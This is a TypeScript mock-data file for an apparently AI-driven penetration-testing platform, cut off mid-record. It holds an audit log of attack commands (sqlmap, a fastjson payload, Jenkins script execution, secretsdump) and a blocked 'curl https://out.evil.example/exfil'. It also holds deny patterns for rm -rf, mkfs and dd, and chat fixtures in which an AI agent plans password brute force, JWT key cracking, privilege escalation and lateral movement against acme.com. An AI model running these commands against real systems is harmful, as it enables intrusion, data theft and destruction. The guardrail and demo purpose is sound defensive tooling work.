action: "allow",
|
||
command: "curl -s -b 'session=...' https://admin.acme.com/api/users",
|
||
},
|
||
{
|
||
ts: T("2026-07-26T02:10:00Z"),
|
||
tool: "bash",
|
||
action: "block",
|
||
reason: "대상 범위 이탈: out.evil.example 은 범위에 없음",
|
||
command: "curl https://out.evil.example/exfil",
|
||
},
|
||
{
|
||
ts: T("2026-07-25T22:03:00Z"),
|
||
tool: "bash",
|
||
action: "allow",
|
||
command: "sqlmap -u 'https://www.acme.com/search?q=1' --batch",
|
||
},
|
||
{
|
||
ts: T("2026-07-25T21:00:00Z"),
|
||
tool: "bash",
|
||
action: "block",
|
||
reason: "파괴적 명령 차단: rm -rf 거부됨",
|
||
command: "rm -rf /var/www",
|
||
},
|
||
{
|
||
ts: T("2026-07-25T20:30:00Z"),
|
||
tool: "bash",
|
||
action: "allow",
|
||
command: "git-dumper https://www.acme.com/.git/ /tmp/acme",
|
||
},
|
||
{
|
||
ts: T("2026-07-25T15:20:00Z"),
|
||
tool: "bash",
|
||
action: "allow",
|
||
command:
|
||
"curl -s -H 'Content-Type: application/json' -d '{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\"...}' https://shop.acme.com/api/import",
|
||
},
|
||
{
|
||
ts: T("2026-07-25T21:40:00Z"),
|
||
tool: "bash",
|
||
action: "allow",
|
||
command: "curl -s -d 'script=println+\"whoami\"...' http://10.10.10.20:8080/scriptText",
|
||
},
|
||
{
|
||
ts: T("2026-07-26T00:00:00Z"),
|
||
tool: "bash",
|
||
action: "allow",
|
||
command: "impacket-psexec acme.local/svc_deploy@10.10.10.10",
|
||
},
|
||
{
|
||
ts: T("2026-07-26T00:05:00Z"),
|
||
tool: "bash",
|
||
action: "block",
|
||
reason: "데이터 유출 차단: secretsdump 수동 승인 필요",
|
||
command: "impacket-secretsdump acme.local/svc_deploy@10.10.10.10 -just-dc",
|
||
},
|
||
{
|
||
ts: T("2026-07-26T00:06:00Z"),
|
||
tool: "bash",
|
||
action: "allow",
|
||
command: "impacket-secretsdump acme.local/svc_deploy@10.10.10.10 -just-dc # 승인 후 허용",
|
||
},
|
||
],
|
||
};
|
||
|
||
// ── LLM profiles ─────────────────────────────────────────────────────────────
|
||
export const llmProfiles: LLMProfile[] = [
|
||
{
|
||
id: "1",
|
||
name: "Claude Opus 4.8",
|
||
format: "anthropic",
|
||
model: "claude-opus-4-8",
|
||
api_key_hint: "…a3f2",
|
||
rate_per_second: 0,
|
||
rate_per_minute: 0,
|
||
context_window_k: 1000,
|
||
thinking_type: "enabled",
|
||
reasoning_effort: "high",
|
||
is_default: true,
|
||
priority: 0,
|
||
pool_exclude: false,
|
||
// anthropic 的字段名固定,故 max_tokens_field 恒为空。
|
||
max_tokens: 0,
|
||
max_tokens_field: "",
|
||
},
|
||
{
|
||
id: "2",
|
||
name: "DeepSeek V4",
|
||
format: "openai",
|
||
base_url: "https://api.deepseek.com",
|
||
model: "deepseek-v4-flash",
|
||
api_key_hint: "…9c11",
|
||
rate_per_second: 0,
|
||
rate_per_minute: 60,
|
||
context_window_k: 128,
|
||
thinking_type: "",
|
||
reasoning_effort: "",
|
||
is_default: false,
|
||
priority: 10,
|
||
pool_exclude: false,
|
||
// openai 格式 + 推理模型:上限走 max_completion_tokens。
|
||
max_tokens: 8192,
|
||
max_tokens_field: "max_completion_tokens",
|
||
},
|
||
];
|
||
|
||
export const llmConfig = {
|
||
configured: true,
|
||
provider: "anthropic",
|
||
model: "claude-opus-4-8",
|
||
base_url: "",
|
||
proxy: "",
|
||
key_set: true,
|
||
rate_per_second: 0,
|
||
rate_per_minute: 0,
|
||
context_window_k: 1000,
|
||
thinking_type: "enabled",
|
||
reasoning_effort: "high",
|
||
};
|
||
|
||
// ── Agents ───────────────────────────────────────────────────────────────────
|
||
export const agents: Agent[] = [
|
||
{
|
||
id: "1001",
|
||
key: "retester",
|
||
name: "취약점 재검증",
|
||
role: "assistant",
|
||
builtin: false,
|
||
enabled: true,
|
||
description: "취약점 상세에서 수동으로 시작하며, 독립적인 재검증 결론을 저장한다.",
|
||
max_turns: 0,
|
||
mcp_count: 0,
|
||
skill_count: 0,
|
||
tool_count: 2,
|
||
},
|
||
{
|
||
id: "1",
|
||
key: "goals",
|
||
name: "목표 분해기",
|
||
role: "goals",
|
||
builtin: true,
|
||
enabled: true,
|
||
description: "작업 목표를 탐색 가능한 하위 목표로 분해한다.",
|
||
max_turns: 8,
|
||
mcp_count: 0,
|
||
skill_count: 1,
|
||
tool_count: 3,
|
||
},
|
||
{
|
||
id: "2",
|
||
key: "planner",
|
||
name: "플래너",
|
||
role: "planner",
|
||
builtin: true,
|
||
enabled: true,
|
||
description: "탐색 경로를 읽고, 목표 달성을 판단하며, 의도를 생성한다.",
|
||
max_turns: 0,
|
||
mcp_count: 1,
|
||
skill_count: 2,
|
||
tool_count: 9,
|
||
},
|
||
{
|
||
id: "3",
|
||
key: "mainagent",
|
||
name: "메인 에이전트",
|
||
role: "mainagent",
|
||
builtin: true,
|
||
enabled: true,
|
||
description: "사람이 개입하는 대화로, hint 와 높은 우선순위 의도를 주입한다.",
|
||
max_turns: 0,
|
||
web_search: true,
|
||
mcp_count: 2,
|
||
skill_count: 3,
|
||
tool_count: 11,
|
||
},
|
||
{
|
||
id: "4",
|
||
key: "worker",
|
||
name: "Work Agent",
|
||
role: "worker",
|
||
builtin: true,
|
||
enabled: true,
|
||
description: "의도 claim → Kali 도구 실행 → 그래프에 반영",
|
||
max_turns: 40,
|
||
run_seconds: 1800,
|
||
web_search: false,
|
||
interactive_shell: true,
|
||
mcp_count: 2,
|
||
skill_count: 3,
|
||
tool_count: 14,
|
||
},
|
||
{
|
||
id: "5",
|
||
key: "recon-bot",
|
||
name: "정찰 로봇 (사용자 정의)",
|
||
role: "custom",
|
||
builtin: false,
|
||
enabled: true,
|
||
description: "새 자산에 대해 주기적으로 수동적 정찰을 수행한다.",
|
||
max_turns: 12,
|
||
mcp_count: 1,
|
||
skill_count: 1,
|
||
tool_count: 4,
|
||
},
|
||
];
|
||
|
||
const promptVars: PromptVar[] = [
|
||
{ name: "Goal", description: "현재 작업 목표", example: "acme.com 관리자 백오피스 권한 획득", source: "runtime" },
|
||
{
|
||
name: "AssetSummary",
|
||
description: "자산 그래프 개요",
|
||
example: "서브도메인 6개 / IP 3개 / 애플리케이션 4개 / 엔드포인트 4개",
|
||
source: "distilled",
|
||
},
|
||
{
|
||
name: "RouteHint",
|
||
description: "탐색 경로 힌트",
|
||
example: "백오피스와 API 권한 우회 공격면 우선",
|
||
source: "exploration",
|
||
},
|
||
];
|
||
|
||
const promptVersions: PromptVersion[] = [
|
||
{
|
||
version: 3,
|
||
ts: T("2026-07-25T10:00:00Z"),
|
||
note: "권한 우회 탐지 유도 강화",
|
||
template_text: "你是 ARTEX 的规划者……",
|
||
},
|
||
{
|
||
version: 2,
|
||
ts: T("2026-07-20T10:00:00Z"),
|
||
note: "초기 버전 미세 조정",
|
||
template_text: "你是 ARTEX 的规划者(v2)……",
|
||
},
|
||
];
|
||
|
||
export function agentDetail(key: string): AgentDetail {
|
||
const a = agents.find((x) => x.key === key) ?? agents[1];
|
||
return {
|
||
agent: a,
|
||
prompt: `你是 ARTEX 的「${a.name}」。\n目标:{{.Goal}}\n资产概览:{{.AssetSummary}}\n路线提示:{{.RouteHint}}\n请基于以上信息推进探索,并通过工具把结果写回图。`,
|
||
variables: promptVars,
|
||
versions: promptVersions,
|
||
visibility: { mcp: [1, 2], skill: ["api-recon", "playwright-cli"] },
|
||
wrapup_prompt: "",
|
||
wrapup_default: "시간·단계 예산이 곧 소진됩니다. 확인된 발견을 요약하고 의도를 종료 상태로 표시하십시오.",
|
||
wrapup_max_turns: 0,
|
||
wrapup_max_turns_default: 3,
|
||
task_timeout_wrapup_supported: a.key === "worker" || a.key === "planner",
|
||
task_timeout_wrapup_default: "작업이 시간을 초과했습니다. 즉시 마무리하고 현재 결론을 저장하십시오.",
|
||
task_timeout_wrapup_max_turns_default: 2,
|
||
};
|
||
}
|
||
|
||
// ── MCP ──────────────────────────────────────────────────────────────────────
|
||
export const mcpServers: MCPServer[] = [
|
||
{
|
||
id: 1,
|
||
name: "shodan",
|
||
transport: "http",
|
||
url: "https://mcp.shodan.io/sse",
|
||
args: [],
|
||
env: {},
|
||
enabled: true,
|
||
tools: ["host_info", "search", "dns_resolve"],
|
||
},
|
||
{
|
||
id: 2,
|
||
name: "playwright",
|
||
transport: "stdio",
|
||
command: "npx",
|
||
args: ["-y", "@playwright/mcp"],
|
||
env: {},
|
||
enabled: true,
|
||
tools: ["browser_navigate", "browser_click", "browser_snapshot"],
|
||
},
|
||
];
|
||
|
||
export const mcpToolsById: Record<number, MCPTool[]> = {
|
||
1: [
|
||
{ name: "host_info", description: "특정 IP 의 Shodan 호스트 정보 조회" },
|
||
{ name: "search", description: "Shodan 검색" },
|
||
{ name: "dns_resolve", description: "DNS 해석" },
|
||
],
|
||
2: [
|
||
{ name: "browser_navigate", description: "브라우저로 URL 열기" },
|
||
{ name: "browser_click", description: "요소 클릭" },
|
||
{ name: "browser_snapshot", description: "접근성 스냅샷 캡처" },
|
||
],
|
||
};
|
||
|
||
// ── Skills ───────────────────────────────────────────────────────────────────
|
||
export const skills: SkillItem[] = [
|
||
{
|
||
name: "api-recon",
|
||
description: "REST/GraphQL API 에 정찰과 권한 우회 공격면 열거를 수행한다. 새 API 엔드포인트를 발견하면 사용한다.",
|
||
license: "MIT",
|
||
mcps: [],
|
||
files: ["SKILL.md", "scripts/enum.py"],
|
||
calls: 24,
|
||
tasks: 6,
|
||
usage_agents: ["worker", "planner"],
|
||
last_used: "2026-08-20T09:12:00Z",
|
||
},
|
||
{
|
||
name: "playwright-cli",
|
||
description:
|
||
"Playwright 로 브라우저를 구동해 동적 크롤링과 스크린샷을 수행한다. JS 사이트를 렌더링해야 할 때 사용한다.",
|
||
mcps: ["playwright"],
|
||
files: ["SKILL.md"],
|
||
calls: 7,
|
||
tasks: 3,
|
||
usage_agents: ["worker"],
|
||
last_used: "2026-08-19T21:40:00Z",
|
||
},
|
||
{
|
||
name: "scopesentry",
|
||
description: "ScopeSentry 에서 자산을 가져와 회사 범위로 병합한다. 자산을 일괄 가져올 때 사용한다.",
|
||
files: ["SKILL.md", "assets/mapping.md"],
|
||
calls: 0,
|
||
tasks: 0,
|
||
usage_agents: [],
|
||
},
|
||
];
|
||
|
||
export const skillCalls: SkillCall[] = [
|
||
{ ts: "2026-08-20T09:12:00Z", agent_key: "worker", task_id: 42, session_id: "", args_len: 128 },
|
||
{ ts: "2026-08-20T08:03:00Z", agent_key: "planner", task_id: 42, session_id: "", args_len: 0 },
|
||
{ ts: "2026-08-19T17:55:00Z", agent_key: "worker", task_id: 37, session_id: "", args_len: 64 },
|
||
];
|
||
|
||
export const missingSkills: MissingSkill[] = [
|
||
{ skill: "jwt-forge", calls: 3, agents: ["worker"], last_used: "2026-08-20T07:20:00Z" },
|
||
];
|
||
|
||
// ── Tools ────────────────────────────────────────────────────────────────────
|
||
export const tools: Tool[] = [
|
||
{
|
||
key: "bash",
|
||
system: true,
|
||
description: "Kali 환경에서 shell 명령을 실행한다 (scope·파괴적 명령 차단 적용).",
|
||
schema: { type: "object", properties: { command: { type: "string" } }, required: ["command"] },
|
||
agents: ["worker", "mainagent"],
|
||
enabled: true,
|
||
kind: "builtin",
|
||
calls: 1842,
|
||
},
|
||
{
|
||
key: "report_finding",
|
||
system: true,
|
||
description: "보안 발견을 보고하고 관련 노드에 연결한다.",
|
||
schema: {
|
||
type: "object",
|
||
properties: {
|
||
vulnclass: { type: "string" },
|
||
severity: { type: "string" },
|
||
summary: { type: "string" },
|
||
evidence: { type: "string" },
|
||
},
|
||
required: ["vulnclass", "severity", "summary"],
|
||
},
|
||
agents: ["worker"],
|
||
enabled: true,
|
||
kind: "builtin",
|
||
calls: 96,
|
||
},
|
||
{
|
||
key: "upsert_asset",
|
||
system: true,
|
||
description: "자산 노드를 기록·갱신한다.",
|
||
schema: { type: "object", properties: { type: { type: "string" }, value: { type: "string" } } },
|
||
agents: ["worker"],
|
||
enabled: true,
|
||
kind: "builtin",
|
||
calls: 417,
|
||
},
|
||
{
|
||
key: "list_goals",
|
||
system: true,
|
||
description: "현재 작업의 목표와 달성 상태를 나열한다.",
|
||
schema: { type: "object", properties: {} },
|
||
agents: ["planner"],
|
||
enabled: true,
|
||
kind: "builtin",
|
||
calls: 238,
|
||
},
|
||
{
|
||
key: "nuclei_scan",
|
||
system: false,
|
||
description: "사용자 정의: nuclei 로 지정한 템플릿을 실행한다.",
|
||
schema: {
|
||
type: "object",
|
||
properties: { target: { type: "string" }, template: { type: "string" } },
|
||
required: ["target"],
|
||
},
|
||
agents: ["worker"],
|
||
enabled: true,
|
||
kind: "command",
|
||
exec: { command: "nuclei", args: ["-u", "{{target}}"] },
|
||
calls: 31,
|
||
},
|
||
];
|
||
|
||
// ── Settings ─────────────────────────────────────────────────────────────────
|
||
export const settings: Settings = {
|
||
traffic_capture: true,
|
||
agent_traffic_binding: false,
|
||
llm_record: false,
|
||
web_search_enabled: true,
|
||
web_search_backend: "ddgs",
|
||
brave_key_set: false,
|
||
tavily_key_set: true,
|
||
web_search_proxy: "",
|
||
global_proxy: "",
|
||
python_interpreter: "/usr/bin/python3",
|
||
workers: 3,
|
||
llm_pool_enabled: true,
|
||
llm_pool_bind_fallback: false,
|
||
noa_compaction: false,
|
||
};
|
||
|
||
// ── LLM 轮询(故障转移)──────────────────────────────────────────────────────
|
||
// demo:激活配置正常,备用配置刚因余额不足熔断,正在冷却。
|
||
export const llmPool: LLMPoolStatus = {
|
||
enabled: true,
|
||
bind_fallback: false,
|
||
chain: [
|
||
{
|
||
profile_id: "1",
|
||
name: "Claude Opus 4.8",
|
||
model: "claude-opus-4-8",
|
||
format: "anthropic",
|
||
priority: 0,
|
||
active: true,
|
||
excluded: false,
|
||
state: "ok",
|
||
fails: 0,
|
||
trips: 0,
|
||
cooldown_secs: 0,
|
||
},
|
||
{
|
||
profile_id: "2",
|
||
name: "DeepSeek V4",
|
||
model: "deepseek-v4-flash",
|
||
format: "openai",
|
||
priority: 10,
|
||
active: false,
|
||
excluded: false,
|
||
state: "tripped",
|
||
fails: 0,
|
||
trips: 1,
|
||
cooldown_secs: 42,
|
||
last_error: "openai: status 402: insufficient balance",
|
||
last_at: T("2026-07-26T00:10:00Z"),
|
||
},
|
||
],
|
||
};
|
||
|
||
// ── Intercept ────────────────────────────────────────────────────────────────
|
||
export const interceptRules: InterceptRule[] = [
|
||
{
|
||
id: 1,
|
||
name: "파괴적 명령 승인 필요",
|
||
enabled: true,
|
||
priority: 10,
|
||
match_target: "tool_input",
|
||
match_type: "regex",
|
||
pattern: "rm\\s+-rf|mkfs|dd\\s+if=",
|
||
action: "ask",
|
||
message: "파괴적 명령을 탐지함, 수동 승인 필요",
|
||
timeout_enabled: true,
|
||
timeout_seconds: 120,
|
||
timeout_action: "deny",
|
||
created_at: T("2026-07-20T10:00:00Z"),
|
||
updated_at: T("2026-07-20T10:00:00Z"),
|
||
},
|
||
{
|
||
id: 2,
|
||
name: "외부 발신 트래픽 즉시 거부",
|
||
enabled: true,
|
||
priority: 20,
|
||
match_target: "tool_input",
|
||
match_type: "string",
|
||
pattern: "exfil",
|
||
action: "deny",
|
||
message: "데이터 외부 유출 의심",
|
||
timeout_enabled: false,
|
||
timeout_seconds: 0,
|
||
timeout_action: "deny",
|
||
created_at: T("2026-07-21T10:00:00Z"),
|
||
updated_at: T("2026-07-21T10:00:00Z"),
|
||
},
|
||
];
|
||
|
||
export const interceptPending: InterceptPending[] = [
|
||
{
|
||
id: 101,
|
||
rule_id: 1,
|
||
task_id: "t-acme-web",
|
||
agent_name: "work#3",
|
||
tool_name: "bash",
|
||
tool_input: { command: "mysqldump -h 203.0.113.10 -uroot acme_prod > /tmp/dump.sql" },
|
||
status: "pending",
|
||
reason: "데이터 유출 차단: 전체 DB 덤프 수동 승인 필요",
|
||
created_at: T("2026-07-26T03:58:00Z"),
|
||
},
|
||
];
|
||
|
||
export const interceptHistory: InterceptApprovalRow[] = [
|
||
{
|
||
id: 90,
|
||
rule_id: 1,
|
||
task_id: "t-acme-web",
|
||
agent_name: "work#1",
|
||
tool_name: "bash",
|
||
tool_input: { command: "dd if=/dev/zero of=/tmp/x" },
|
||
status: "denied",
|
||
reason: "파괴적 명령 승인 필요",
|
||
created_at: T("2026-07-25T20:00:00Z"),
|
||
decided_at: T("2026-07-25T20:01:00Z"),
|
||
conv_title: "",
|
||
conv_agent_key: "",
|
||
rule_name: "파괴적 명령 승인 필요",
|
||
},
|
||
{
|
||
id: 91,
|
||
task_id: "t-acme-api",
|
||
agent_name: "work#2",
|
||
tool_name: "bash",
|
||
tool_input: { command: "rm -rf /var/www/html" },
|
||
status: "denied",
|
||
reason: "[模型] 대상 운영 파일 삭제(D4)",
|
||
created_at: T("2026-07-25T18:00:00Z"),
|
||
decided_at: T("2026-07-25T18:00:05Z"),
|
||
conv_title: "",
|
||
conv_agent_key: "",
|
||
rule_name: "",
|
||
},
|
||
{
|
||
id: 92,
|
||
rule_id: 2,
|
||
task_id: "t-acme-web",
|
||
agent_name: "work#13",
|
||
tool_name: "bash",
|
||
tool_input: { command: "impacket-secretsdump acme.local/svc_deploy@10.10.10.10 -just-dc" },
|
||
status: "allowed",
|
||
reason: "외부 발신 트래픽 즉시 거부",
|
||
created_at: T("2026-07-26T00:05:00Z"),
|
||
decided_at: T("2026-07-26T00:06:00Z"),
|
||
conv_title: "",
|
||
conv_agent_key: "",
|
||
rule_name: "외부 발신 트래픽 즉시 거부",
|
||
},
|
||
{
|
||
id: 93,
|
||
task_id: "t-acme-web",
|
||
agent_name: "work#7",
|
||
tool_name: "bash",
|
||
tool_input: { command: 'mysql -e "DROP TABLE users_bak_0921"' },
|
||
status: "pending",
|
||
reason: "[模型] 백업 테이블로 의심됨, 운영 데이터 여부 확정 불가",
|
||
created_at: T("2026-07-25T15:14:00Z"),
|
||
conv_title: "",
|
||
conv_agent_key: "",
|
||
rule_name: "",
|
||
},
|
||
];
|
||
|
||
// Approval detail fixtures use harmless report-writing examples.
|
||
interceptHistory.unshift({
|
||
id: 94,
|
||
task_id: "t-acme-web",
|
||
agent_name: "work#1",
|
||
tool_name: "Write",
|
||
tool_input: {
|
||
path: "reports/summary.md",
|
||
content: "# 점검 요약\n\n이번 라운드 검증이 완료되어 기존 증거와 후속 권고를 정리한다.",
|
||
},
|
||
status: "allowed",
|
||
decision_source: "model",
|
||
reason: "[模型] 기존 점검 결론을 로컬 보고서에 기록하며 업무 데이터는 수정하지 않음.",
|
||
created_at: T("2026-07-26T08:00:00Z"),
|
||
decided_at: T("2026-07-26T08:00:02Z"),
|
||
conv_title: "",
|
||
conv_agent_key: "",
|
||
rule_name: "",
|
||
});
|
||
|
||
export const interceptDetails: Record<number, InterceptAudit> = {
|
||
94: {
|
||
run_id: "demo-run-report",
|
||
tool_use_id: "call-write-report",
|
||
correlation: "exact",
|
||
input_digest: "a3b458eca3b458eca3b458eca3b458eca3b458eca3b458eca3b458eca3b458ec1234",
|
||
user_message:
|
||
"완료된 점검을 정리해서 결론과 증거 인덱스를 reports/summary.md 에 기록해 줘.\n검증 대기 항목은 남겨 두고 업무 데이터는 건드리지 마.",
|
||
context: [
|
||
{ kind: "user", text: "이번 라운드의 기존 증거를 모아서 점검 요약을 만들어 줘." },
|
||
{
|
||
kind: "tool_use",
|
||
tool: "Read",
|
||
tool_use_id: "call-read-evidence",
|
||
text: '{"path":"reports/evidence-index.json"}',
|
||
},
|
||
{
|
||
kind: "tool_result",
|
||
tool: "Read",
|
||
tool_use_id: "call-read-evidence",
|
||
text: "증거 인덱스 3건을 읽었다.\n기록에는 요청 시각, 결과 요약, 로컬 파일 위치가 담겨 있다.",
|
||
},
|
||
],
|
||
captured_at: T("2026-07-26T08:00:00Z"),
|
||
initial_action: "allow",
|
||
initial_reason: "[模型] 기존 점검 결론을 로컬 보고서에 기록하며 업무 데이터는 수정하지 않음.",
|
||
effective_action: "allow",
|
||
config_digest: "b4c569fdb4c569fdb4c569fdb4c569fdb4c569fdb4c569fdb4c569fdb4c569fd1234",
|
||
profile_id: 1,
|
||
execution_status: "succeeded",
|
||
output: "Successfully wrote reports/summary.md\n총 68자 기록됨.",
|
||
execution_ended_at: T("2026-07-26T08:00:03Z"),
|
||
},
|
||
93: {
|
||
run_id: "demo-run-review",
|
||
tool_use_id: "call-pending-review",
|
||
correlation: "exact",
|
||
input_digest: "c5d670aec5d670aec5d670aec5d670aec5d670aec5d670aec5d670aec5d670ae1234",
|
||
user_message: "백업 테이블의 용도를 확인하고 삭제가 얽히면 먼저 확인해 줘.",
|
||
context: [],
|
||
captured_at: T("2026-07-25T15:14:00Z"),
|
||
initial_action: "ask",
|
||
initial_reason: "[模型] 백업 테이블로 의심됨, 운영 데이터 여부 확정 불가.",
|
||
profile_id: 1,
|
||
execution_status: "not_started",
|
||
},
|
||
};
|
||
|
||
// ── Conversations (chat) ─────────────────────────────────────────────────────
|
||
export const conversations: Conversation[] = [
|
||
{
|
||
id: 1,
|
||
agent_key: "mainagent",
|
||
title: "acme 백오피스 침투 지점 논의",
|
||
llm_profile_id: 1,
|
||
pinned: true,
|
||
pinned_at: T("2026-07-26T04:00:00Z"),
|
||
created_at: T("2026-07-25T10:00:00Z"),
|
||
updated_at: T("2026-07-26T03:40:00Z"),
|
||
},
|
||
{
|
||
id: 2,
|
||
agent_key: "mainagent",
|
||
title: "API 권한 우회 공격면 정리",
|
||
llm_profile_id: 2,
|
||
created_at: T("2026-07-24T16:00:00Z"),
|
||
updated_at: T("2026-07-24T17:20:00Z"),
|
||
},
|
||
{
|
||
id: 3,
|
||
agent_key: "mainagent",
|
||
title: "내부망 횡적 이동 · DMZ→도메인 컨트롤러 공격 경로 계획",
|
||
llm_profile_id: 1,
|
||
created_at: T("2026-07-25T15:45:00Z"),
|
||
updated_at: T("2026-07-26T00:25:00Z"),
|
||
},
|
||
];
|
||
|
||
export const conversationMessages: Record<number, Activity[]> = {
|
||
1: [
|
||
{
|
||
seq: 1,
|
||
worker: "user",
|
||
ts: T("2026-07-25T10:00:00Z"),
|
||
kind: "user",
|
||
summary: "백오피스는 어디 있고, 먼저 어디부터 공략할까?",
|
||
},
|
||
{
|
||
seq: 2,
|
||
worker: "mainagent",
|
||
ts: T("2026-07-25T10:00:04Z"),
|
||
kind: "thinking",
|
||
summary:
|
||
"먼저 admin.acme.com 로그인 페이지의 기술 스택과 방어 수단(캡차/속도 제한)을 확인한 뒤, 기본 비밀번호를 쓸지 사전 대입을 쓸지 결정한다.",
|
||
},
|
||
{
|
||
seq: 3,
|
||
worker: "mainagent",
|
||
ts: T("2026-07-25T10:00:06Z"),
|
||
kind: "tool_use",
|
||
tool: "bash",
|
||
tool_use_id: "c11",
|
||
summary: "curl -s https://admin.acme.com/login | grep -Eo 'element-ui|captcha|csrf'",
|
||
},
|
||
{
|
||
seq: 4,
|
||
worker: "mainagent",
|
||
ts: T("2026-07-25T10:00:08Z"),
|
||
kind: "tool_result",
|
||
tool: "bash",
|
||
tool_use_id: "c11",
|
||
summary: "element-ui\ncsrf",
|
||
detail: "Element-UI 백오피스이고, CSRF 토큰은 있으나 캡차는 없다.",
|
||
},
|
||
{
|
||
seq: 5,
|
||
worker: "mainagent",
|
||
ts: T("2026-07-25T10:00:20Z"),
|
||
kind: "tool_use",
|
||
tool: "bash",
|
||
tool_use_id: "c12",
|
||
summary:
|
||
"for i in 1 2 3 4 5; do curl -s -o /dev/null -w '%{http_code}\\n' -d 'username=x&password=y' https://admin.acme.com/login; done",
|
||
},
|
||
{
|
||
seq: 6,
|
||
worker: "mainagent",
|
||
ts: T("2026-07-25T10:00:24Z"),
|
||
kind: "tool_result",
|
||
tool: "bash",
|
||
tool_use_id: "c12",
|
||
summary: "401\\n401\\n401\\n401\\n401",
|
||
detail: "연속 5회 시도에도 잠금·캡차가 없다 → 속도 제한이 없어 무차별 대입이 가능하다.",
|
||
},
|
||
{
|
||
seq: 7,
|
||
worker: "mainagent",
|
||
ts: T("2026-07-25T10:00:30Z"),
|
||
kind: "text",
|
||
summary:
|
||
"결론을 말씀드리면, Element-UI 백오피스이고 캡차도 속도 제한도 없습니다. 공략 순서는 ① 먼저 기본 비밀번호 목록(admin/admin, admin/admin123, admin/123456)을 돌리고 ② 맞지 않으면 top1000 사전으로 넘어갑니다. 「백오피스 기본 비밀번호 테스트」를 높은 우선순위 의도로 worker 에이전트에 주입해 두었습니다.",
|
||
},
|
||
{ seq: 8, worker: "user", ts: T("2026-07-26T03:40:00Z"), kind: "user", summary: "됐어?" },
|
||
{
|
||
seq: 9,
|
||
worker: "mainagent",
|
||
ts: T("2026-07-26T03:40:05Z"),
|
||
kind: "text",
|
||
summary:
|
||
"성공했습니다. admin/admin123 으로 콘솔에 바로 로그인했고, 고위험 취약점으로 기록하면서 「백오피스 관리 권한 획득」 목표 달성을 입증했습니다. 다음은 사용자 데이터 읽기(목표②)로 전환합니다.",
|
||
},
|
||
],
|
||
2: [
|
||
{
|
||
seq: 1,
|
||
worker: "user",
|
||
ts: T("2026-07-24T16:00:00Z"),
|
||
kind: "user",
|
||
summary: "api.acme.com 의 권한 우회 공격면 좀 정리해 줘.",
|
||
},
|
||
{
|
||
seq: 2,
|
||
worker: "mainagent",
|
||
ts: T("2026-07-24T16:00:05Z"),
|
||
kind: "thinking",
|
||
summary: "먼저 API 의 인증 방식과 주요 엔드포인트 몇 개의 동작을 파악한 뒤, IDOR / JWT 위험을 판단한다.",
|
||
},
|
||
{
|
||
seq: 3,
|
||
worker: "mainagent",
|
||
ts: T("2026-07-24T16:00:10Z"),
|
||
kind: "tool_use",
|
||
tool: "bash",
|
||
tool_use_id: "c21",
|
||
summary: "curl -s https://api.acme.com/v1/users/me -H 'Authorization: Bearer <self>' | jq '{id,role}'",
|
||
},
|
||
{
|
||
seq: 4,
|
||
worker: "mainagent",
|
||
ts: T("2026-07-24T16:00:12Z"),
|
||
kind: "tool_result",
|
||
tool: "bash",
|
||
tool_use_id: "c21",
|
||
summary: '{ "id": 42, "role": "user" }',
|
||
detail: "일반 사용자 토큰이 유효하다.",
|
||
},
|
||
{
|
||
seq: 5,
|
||
worker: "mainagent",
|
||
ts: T("2026-07-24T16:00:30Z"),
|
||
kind: "tool_use",
|
||
tool: "bash",
|
||
tool_use_id: "c22",
|
||
summary: "echo '<jwt>' | cut -d. -f1 | base64 -d; # 알고리즘 확인",
|
||
},
|
||
{
|
||
seq: 6,
|
||
worker: "mainagent",
|
||
ts: T("2026-07-24T16:00:31Z"),
|
||
kind: "tool_result",
|
||
tool: "bash",
|
||
tool_use_id: "c22",
|
||
summary: '{"alg":"HS256","typ":"JWT"}',
|
||
detail: "HS256 대칭 서명이라, 키가 약하면 오프라인 무차별 대입으로 위조할 수 있다.",
|
||
},
|
||
{
|
||
seq: 7,
|
||
worker: "mainagent",
|
||
ts: T("2026-07-24T16:01:00Z"),
|
||
kind: "text",
|
||
summary:
|
||
"권한 우회 공격면은 두 가지입니다. ① /v1/orders?id= 가 자동 증가 숫자 id 라서 → 전형적인 IDOR 이고, id 를 바꿔 타인의 주문을 읽어 봅니다. ② JWT 가 HS256 을 쓰므로 john/hashcat 으로 키를 무차별 대입하면 → 임의의 sub 로 위조해 권한을 우회할 수 있습니다. 이 두 가지를 각각 의도 하나씩으로 파생했습니다. 비용이 낮고 영향이 직접적인 IDOR 를 먼저 하기를 권합니다.",
|
||
},
|
||
],
|
||
3: [
|
||
{
|
||
seq: 1,
|
||
worker: "user",
|
||
ts: T("2026-07-25T15:45:00Z"),
|
||
kind: "user",
|
||
summary: "shell 은 잡았어. 다음은 내부망을 어떻게 공략할까?",
|
||
},
|
||
{
|
||
seq: 2,
|
||
worker: "mainagent",
|
||
ts: T("2026-07-25T15:45:05Z"),
|
||
kind: "thinking",
|
||
summary:
|
||
"www-data 권한으로는 내부망 횡적 이동이 어려우니, 먼저 로컬 권한 상승을 본다. root 를 잡은 뒤 DMZ 를 pivot 으로 삼아 호스트 생존 탐지를 한다.",
|
||
},
|
||
{
|
||
seq: 3,
|
||
worker: "mainagent",
|
||
ts: T("2026-07-25T15:45:10Z"),
|
||
kind: "text",
|
||
summary:
|
||
"첫 단계는 권한 상승입니다. sudo -l 에 python3 가 비밀번호 없이 있어 바로 root 로 올립니다. 그다음 DMZ 를 경유지로 삼아 내부망 생존 스캔(fscan)을 돌리고, 도메인 컨트롤러와 CI/CD 서버를 집중적으로 찾습니다.",
|
||
},
|
||
{
|
||
seq: 4,
|
||
worker: "user",
|
||
ts: T("2026-07-25T21:05:00Z"),
|
||
kind: "user",
|
||
summary: "내부망에서 3대 스캔됐고 Jenkins 8080 이 열려 있던데, 승산 있어?",
|
||
},
|
||
{
|
||
seq: 5,
|
||
worker: "mainagent",
|
||
ts: T("2026-07-25T21:05:08Z"),
|
||
kind: "tool_use",
|
||
tool: "bash",
|
||
tool_use_id: "c31",
|
||
summary: "proxychains curl -s http://10.10.10.20:8080/script -o /dev/null -w '%{http_code}'",
|
||
},
|
||
{
|
||
seq: 6,
|
||
worker: "mainagent",
|
||
ts: T("2026-07-25T21:05:12Z"),
|
||
kind: "tool_result",
|
||
tool: "bash",
|
||
tool_use_id: "c31",
|
||
summary: "200",
|
||
detail: "/script 에 바로 접근할 수 있고, 인증이 필요 없다.",
|
||
},
|
||
{
|
||
seq: 7,
|
||
worker: "mainagent",
|
||
ts: T("2026-07-25T21:05:20Z"),
|
||
kind: "text",
|
||
summary:
|
||
